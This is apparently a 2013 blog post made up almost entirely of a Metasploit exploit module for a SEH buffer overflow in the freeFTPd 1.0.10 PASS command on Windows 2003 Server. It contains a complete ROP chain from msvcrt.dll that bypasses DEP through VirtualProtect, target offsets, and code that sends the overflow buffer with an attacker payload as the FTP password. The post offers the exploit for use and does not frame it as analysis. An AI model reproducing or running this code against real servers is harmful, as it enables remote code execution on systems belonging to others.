Friday, September 13, 2013

Updated : freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass',
'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.

},
'Author'         =>
[
                    'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows .NET Server (Build 3790, Service Pack 2) 32bit
[ 'Windows 2003 Server Standard/Enterprise Edition',   { 'Ret' => 0x00493ede, 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

# mona.py
        rop  = [0x77bb2563].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x77ba1114].pack('V')  # ptr to &VirtualProtect() [IAT msvcrt.dll]
        rop << [0x77bbf244].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll] 
        rop << [0x41414141].pack('V')  # Filler (compensate)
        rop << [0x77bb0c86].pack('V')  # XCHG EAX,ESI # RETN [msvcrt.dll] 
        rop << [0x77bac27e].pack('V')  # POP EBP # RETN [msvcrt.dll] 
        rop << [0x77be2265].pack('V')  # & push esp # ret  [msvcrt.dll]
        #---------------------------
        rop << [0x77be1ef3].pack('V')  # POP EDX # RETN [msvcrt.dll] 
        rop << [0xFBDBBB63].pack('V')  # 0x00000040-> edx 
        rop << [0x77bcb691].pack('V')  # POP EBX # RETN [msvcrt.dll]
        rop << [0x042444DD].pack('V')
        rop << [0x77bbd50e].pack('V')  # ADD EDX,EBX # POP EBX # RETN 0x10
                                       # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
        rop << [0xFBDBBD23].pack('V')  # EBX** = 0xFBDBBD23
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        #---------------------------
        rop << [0x77BC541C].pack('V')  # XOR EAX,EAX # INC EAX # RETN
        rop << [0x77be2219].pack('V')  # ADD EAX,42444DD # RETN
        rop << [0x77BDFE37].pack('V')  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                       # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
        #---------------------------
        rop << [0x77bcadff].pack('V')  # POP ECX # RETN [msvcrt.dll] 
        rop << [0x77bf2cfc].pack('V')  # &Writable location [msvcrt.dll]
        rop << [0x77bd88b8].pack('V')  # POP EDI # RETN [msvcrt.dll] 
        rop << [0x77bd8c05].pack('V')  # RETN (ROP NOP) [msvcrt.dll]
        rop << [0x77be3adb].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x90909090].pack('V')  # nop
        rop << [0x77be6591].pack('V')  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] 

        rop << make_nops(32)
        rop << payload.encoded

        buf = rand_text_english(1000)
        buf[49+40,rop.length] = rop
        buf[target['Offset']+4,4] = [target.ret].pack("V") # SEH # ADD ESP,46C

print_status("payload size : #{buf.length}")

print_status("Sending exploit buffer...")
        send_user(datastore['FTPUSER'])
        send_pass(buf)

handler
disconnect
end

end